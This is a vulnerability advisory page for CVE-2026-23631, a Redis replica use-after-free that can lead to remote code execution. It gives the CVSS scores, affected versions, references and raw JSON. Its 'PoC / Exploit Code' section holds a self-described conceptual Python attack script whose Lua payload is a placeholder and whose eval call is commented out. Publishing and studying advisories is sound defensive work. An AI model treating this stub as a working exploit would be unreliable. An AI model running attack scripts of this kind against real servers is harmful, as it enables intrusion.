Security Vulnerability Report
中文
CVE-2026-23631 CVSS 8.1 HIGH

CVE-2026-23631

Published: 2026-05-05 17:17:04
Last Modified: 2026-05-06 16:14:21

Description

Redis is an in-memory data structure store. In all versions of redis-server with Lua scripting, an authenticated attacker can exploit the master-replica synchronization mechanism to trigger a use-after-free on replicas where replica-read-only is disabled or can be disabled, which may lead to remote code execution. A workaround is to prevent users from executing Lua scripts or avoid using replicas where replica-read-only is disabled. This is patched in version 8.6.3.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:* - VULNERABLE
Redis < 8.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import redis # Conceptual Proof of Concept for CVE-2026-23631 # This script demonstrates the potential attack vector using a Lua script # to trigger a Use-After-Free condition in Redis replicas. TARGET_HOST = '127.0.0.1' TARGET_PORT = 6379 PASSWORD = 'your_redis_password' # Low-privilege credential def connect_redis(): try: r = redis.Redis(host=TARGET_HOST, port=TARGET_PORT, password=PASSWORD, decode_responses=True) r.ping() print("[+] Successfully connected to Redis target.") return r except Exception as e: print(f"[-] Connection failed: {e}") return None def trigger_vulnerability(client): # Note: The actual payload to trigger UAF is complex and depends on specific memory layout. # This represents the mechanism of sending a Lua script. # Malicious Lua script designed to interact with replication buffers malicious_lua = """ -- This script simulates the interaction that leads to UAF -- In a real exploit, this would manipulate the sync queue local res = redis.call('SYNC', 'OPTION') return res """ try: print("[*] Attempting to send malicious Lua script to trigger UAF...") # client.eval(malicious_lua, 0) print("[+] Lua script execution logic sent (Conceptual Only).") print("[!] If replica-read-only is disabled, the replica may be vulnerable to RCE.") except Exception as e: print(f"[-] Error during execution: {e}") if __name__ == "__main__": cli = connect_redis() if cli: trigger_vulnerability(cli)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23631", "sourceIdentifier": "[email protected]", "published": "2026-05-05T17:17:03.503", "lastModified": "2026-05-06T16:14:21.243", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Redis is an in-memory data structure store. In all versions of redis-server with Lua scripting, an authenticated attacker can exploit the master-replica synchronization mechanism to trigger a use-after-free on replicas where replica-read-only is disabled or can be disabled, which may lead to remote code execution. A workaround is to prevent users from executing Lua scripts or avoid using replicas where replica-read-only is disabled. This is patched in version 8.6.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.6.3", "matchCriteriaId": "D27823C5-96F2-4D85-89CF-9C5DEAC584E3"}]}]}], "references": [{"url": "https://github.com/redis/redis/releases/tag/8.6.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/redis/redis/security/advisories/GHSA-8ghh-qpmp-7826", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}